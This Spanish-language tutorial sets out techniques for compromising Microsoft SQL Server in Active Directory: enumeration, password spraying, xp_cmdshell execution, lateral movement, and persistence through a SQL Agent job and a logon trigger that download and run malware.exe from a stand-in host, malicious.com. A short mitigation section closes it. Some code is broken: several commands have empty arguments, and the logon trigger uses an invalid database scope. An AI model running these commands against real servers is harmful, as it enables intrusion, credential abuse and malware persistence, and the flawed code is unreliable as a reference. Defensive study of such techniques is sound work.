Microsoft SQL Server en Active Directory

Microsoft SQL Server es una plataforma de gestión de bases de datos ampliamente utilizada en entornos empresariales. Debido a su integración con Active Directory (AD) y su capacidad para manejar datos críticos, SQL Server es un objetivo atractivo para los atacantes. A continuación, se detallan las técnicas más comunes para comprometer SQL Server en un entorno de AD, junto con ejemplos prácticos de explotación y medidas de mitigación.

1. Enumeración de Instancias de SQL Server

La enumeración de instancias de SQL Server es el primer paso para comprometer un servidor SQL. Los atacantes pueden utilizar herramientas como sqlcmd o PowerUpSQL para identificar instancias de SQL Server en la red.

Ejemplo de explotación:

  1. Enumeración utilizando PowerUpSQL:

    Import-Module .\PowerUpSQL.psd1
    Get-SQLInstanceDomain

    Este comando enumera todas las instancias de SQL Server en el dominio.

  2. Enumeración utilizando sqlcmd:

    sqlcmd -L

    Este comando lista todas las instancias de SQL Server disponibles en la red.

2. Ataques de Fuerza Bruta y Password Spraying

Una vez que se han identificado las instancias de SQL Server, los atacantes pueden intentar ataques de fuerza bruta o password spraying para obtener acceso.

Ejemplo de explotación:

  1. Ataque de fuerza bruta utilizando sqlcmd:

    sqlcmd -S  -U  -P 

    Los atacantes pueden automatizar este proceso con scripts para probar múltiples combinaciones de usuario y contraseña.

  2. Password spraying utilizando PowerUpSQL:

    Invoke-SQLBrute -UserList C:\users.txt -PasswordList C:\passwords.txt -Instance 

    Este comando intenta múltiples combinaciones de usuario y contraseña contra una instancia de SQL Server.

3. Abuso de Configuraciones Inseguras

Las configuraciones inseguras, como la autenticación mixta (Windows y SQL Server), pueden ser explotadas por los atacantes para obtener acceso no autorizado.

Ejemplo de explotación:

  1. Autenticación mixta:

    sqlcmd -S  -U sa -P 

    Si la cuenta sa tiene una contraseña débil, los atacantes pueden obtener acceso administrativo al servidor SQL.

4. Ejecución de Comandos y Movimientos Laterales

Una vez que los atacantes han obtenido acceso a SQL Server, pueden ejecutar comandos y moverse lateralmente dentro de la red.

Ejemplo de explotación:

  1. Ejecución de comandos utilizando xp_cmdshell:

    EXEC xp_cmdshell 'whoami';

    Este comando ejecuta whoami en el servidor SQL y devuelve el resultado.

  2. Movimiento lateral utilizando xp_cmdshell:

    EXEC xp_cmdshell 'net use \\otro_servidor\recurso_compartido /user:dominio\usuario contraseña';

    Este comando monta un recurso compartido en otro servidor, permitiendo el movimiento lateral.

5. Persistencia mediante Jobs y Triggers

Los atacantes pueden establecer mecanismos de persistencia en SQL Server mediante la creación de trabajos (jobs) y triggers.

Ejemplo de explotación:

  1. Creación de un job malicioso:

    USE msdb;
    EXEC sp_add_job @job_name = 'MaliciousJob';
    EXEC sp_add_jobstep @job_name = 'MaliciousJob', @step_name = 'Step1', @subsystem = 'CmdExec', @command = 'powershell.exe -Command "Invoke-WebRequest -Uri http://malicious.com/malware.exe -OutFile C:\malware.exe; Start-Process C:\malware.exe"';
    EXEC sp_add_jobserver @job_name = 'MaliciousJob', @server_name = 'SQLSERVER';

    Este script crea un job que descarga y ejecuta un archivo malicioso.

  2. Creación de un trigger malicioso:

    CREATE TRIGGER MaliciousTrigger
    ON DATABASE
    FOR LOGON
    AS
    BEGIN
       EXEC xp_cmdshell 'powershell.exe -Command "Invoke-WebRequest -Uri http://malicious.com/malware.exe -OutFile C:\malware.exe; Start-Process C:\malware.exe"';
    END;

    Este trigger ejecuta un comando malicioso cada vez que un usuario inicia sesión en la base de datos.

Medidas de Mitigación

Para proteger SQL Server contra estas técnicas de explotación, se pueden implementar las siguientes medidas:

  1. Deshabilitar xp_cmdshell si no es necesario:

    EXEC sp_configure 'show advanced options', 1;
    RECONFIGURE;
    EXEC sp_configure 'xp_cmdshell', 0;
    RECONFIGURE;
  2. Utilizar autenticación de Windows en lugar de autenticación mixta.

  3. Implementar políticas de contraseñas fuertes y autenticación multifactor (MFA).

  4. Monitorear y auditar regularmente las actividades en SQL Server.

  5. Configurar alertas para detectar actividades sospechosas, como la creación de jobs o triggers no autorizados.

En conclusión, Microsoft SQL Server es un componente crítico en muchos entornos de Active Directory. Comprender las técnicas de explotación y aplicar medidas de mitigación adecuadas es esencial para proteger estos sistemas contra ataques.